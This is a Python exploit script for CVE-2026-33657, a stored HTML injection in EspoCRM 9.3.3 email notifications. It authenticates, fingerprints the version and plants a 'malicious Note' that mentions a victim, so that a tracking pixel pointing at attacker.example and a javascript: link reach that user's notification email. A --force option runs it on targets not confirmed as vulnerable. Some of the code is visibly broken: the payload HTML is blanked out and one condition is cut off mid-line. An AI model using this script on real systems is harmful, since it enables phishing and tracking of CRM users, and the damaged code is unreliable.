#!/usr/bin/env python3 # # Exploit Title: EspoCRM 9.3.3 - Stored HTML Injection in Email Notifications # Date: 2026-05-08 # Exploit Author: EntroVyx # Vendor Homepage: https://www.espocrm.com/ # Software Link: https://github.com/espocrm/espocrm # Version: 9.3.3 # CVE: CVE-2026-33657 # Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574 # # Usage: # python3 CVE-2026-33657.py -u http://127.0.0.1:8083 -U testuser -P 'Admin12345!' --mention admin # python3 CVE-2026-33657.py -u https://target.example -U user -P pass --mention victim --tracking-url https://attacker.example/pixel.gif # # The exploit creates a stream Note containing HTML that EspoCRM 9.3.3 renders # unescaped in email-notification templates. Delivery happens when EspoCRM's # normal SendEmailNotifications job/cron processes the queued notification. import argparse import json import sys from urllib.parse import urlparse import requests VULNERABLE_VERSIONS = {"9.3.3"} FIXED_VERSION = "9.3.4" def normalize_base_url(value): value = value.rstrip("/") parsed = urlparse(value) if not parsed.scheme or not parsed.netloc: raise argparse.ArgumentTypeError("target URL must include scheme and host") return value def find_key_values(value, key): found = [] if isinstance(value, dict): for item_key, item_value in value.items(): if item_key == key: found.append(item_value) found.extend(find_key_values(item_value, key)) elif isinstance(value, list): for item in value: found.extend(find_key_values(item, key)) return found def get_version(data): versions = [item for item in find_key_values(data, "version") if isinstance(item, str)] if not versions: return None return versions[0] def get_app_user(session, base_url, timeout): response = session.get(f"{base_url}/api/v1/App/user", timeout=timeout) if response.status_code != 200: return response, None try: return response, response.json() except ValueError: return response, None def build_payload(args): if args.payload: return args.payload return ( f'' f're-auth' ) def create_note(session, base_url, post, target_user_id, target_user_name, timeout): endpoint = f"{base_url}/api/v1/Note" payload = { "type": "Post", "post": post, } if target_user_id: payload["targetType"] = "users" payload["usersIds"] = [target_user_id] if target_user_name: payload["usersNames"] = {target_user_id: target_user_name} return session.post(endpoint, json=payload, timeout=timeout) def short_body(response): body = response.text.replace("\r", "\\r").replace("\n", "\\n") if len(body) > 700: return body[:700] + "..." return body def parse_note_response(response): try: data = response.json() except json.JSONDecodeError: return None return data if isinstance(data, dict) else None def print_version_status(version, force): if not version: print("[!] Could not read version from /api/v1/App/user.") return True print(f"[*] Detected version: {version}") if version in VULNERABLE_VERSIONS: print(f"[+] Version fingerprint is vulnerable: EspoCRM {version}.") return True if version == "@@version": print("[!] Version is '@@version', usually a source-tree build. Continuing because this lab/source build may still be 9.3.3.") return True if force: print(f"[!] Version is not the known vulnerable release. Continuing because --force was supplied.") return True print(f"[-] Version fingerprint is not vulnerable. CVE-2026-33657 affects 9.3.3 and is fixed in {FIXED_VERSION}.") print("[-] Use --force only if you already confirmed the target is a vulnerable build.") return False def run_detect_only(session, base_url, timeout): response, data = get_app_user(session, base_url, timeout) print(f"[*] /api/v1/App/user: HTTP {response.status_code}") if response.status_code != 200 or data is None: print("[-] Could not fingerprint EspoCRM with the supplied credentials.") return 1 version = get_version(data) if version in VULNERABLE_VERSIONS: print(f"[+] Vulnerable by version: EspoCRM {version}.") return 0 if version == "@@version": print("[!] Indeterminate: source-tree build reports '@@version'.") return 3 print(f"[-] Not vulnerable by version. Detected: {version or 'unknown'}.") return 2 def main(): parser = argparse.ArgumentParser( description="Authenticated EspoCRM CVE-2026-33657 stored HTML injection exploit." ) parser.add_argument("-u", "--url", required=True, type=normalize_base_url, help="Base URL, e.g. http://host:8083") parser.add_argument("-U", "--username", required=True, help="EspoCRM username") parser.add_argument("-P", "--password", required=True, help="EspoCRM password") parser.add_argument("--mention", help="Username to mention, without @. Preferred path for mention email notifications.") parser.add_argument("--target-user-id", help="Optional user id for targeted stream-post notifications") parser.add_argument("--target-user-name", help="Display name for --target-user-id") parser.add_argument("--payload", help="Raw HTML payload to place in the Note post") parser.add_argument("--tracking-url", default="http://attacker.example/track.gif", help="Tracking pixel URL for default payload") parser.add_argument("--link-url", default="javascript:alert(33657)", help="Link URL for default payload") parser.add_argument("--marker", default="CVE-2026-33657", help="Marker text included before the payload") parser.add_argument("--timeout", type=float, default=15.0, help="HTTP timeout") parser.add_argument("--detect-only", action="store_true", help="Only fingerprint the version; do not create a Note") parser.add_argument("--skip-version-check", action="store_true", help="Do not call /api/v1/App/user before exploitation") parser.add_argument("--force", action="store_true", help="Exploit even if the version fingerprint is not 9.3.3") parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification") args = parser.parse_args() session = requests.Session() session.auth = (args.username, args.password) session.headers.update({"Accept": "application/json"}) session.verify = not args.insecure print(f"[*] Target: {args.url}") if args.detect_only: print("[*] Mode: detect-only. No Note will be created.") return run_detect_only(session, args.url, args.timeout) if not args.mention and not args.target_user_id: print("[-] Active exploitation requires a delivery target.") print("[-] Use --mention or --target-user-id .") return 2 if not args.skip_version_check: response, data = get_app_user(session, args.url, args.timeout) print(f"[*] /api/v1/App/user: HTTP {response.status_code}") if response.status_code != 200 or data is None: print("[-] Authentication failed or App/user did not return JSON.") return 1 if not print_version_status(get_version(data), args.force): return 2 payload = build_payload(args) prefix = f"@{args.mention} " if args.mention else "" post = f"{prefix}{args.marker} {payload}" print(f"[*] Creating malicious Note as {args.username}") response = create_note( session, args.url, post, args.target_user_id, args.target_user_name, args.timeout, ) print(f"[*] Note response: HTTP {response.status_code} {short_body(response)}") if response.status_code != 200: print("[-] The Note was not created.") return 1 data = parse_note_response(response) if not data: print("[-] The server did not return a valid Note JSON object.") return 1 note_id = data.get("id") stored_post = data.get("post", "") mentions = (data.get("data") or {}).get("mentions") or {} notified_user_ids = data.get("notifiedUserIdList") or [] expected_mention = f"@{args.mention}" if args.mention else None if args.marker not in stored_post or " user id {target.get('id')}") else: print(f"[!] Mention {expected_mention} was not parsed. Check message/mention permissions and target username.") if notified_user_ids: print(f"[+] Notification target list returned by API: {', '.join(notified_user_ids)}") else: print("[!] API did not return notifiedUserIdList. Email delivery may still depend on EspoCRM notification settings.") if args.target_user_id: print(f"[+] Targeted stream post requested for user id: {args.target_user_id}") print("[+] Complete remote trigger submitted.") print("[+] When EspoCRM's SendEmailNotifications job/cron runs, vulnerable 9.3.3 renders this Note through Markdown and {{{post}}}.") print("[+] The resulting HTML email body preserves the injected tag and javascript: link.") return 0 if __name__ == "__main__": try: sys.exit(main()) except requests.RequestException as exc: print(f"[-] HTTP error: {exc}") sys.exit(1)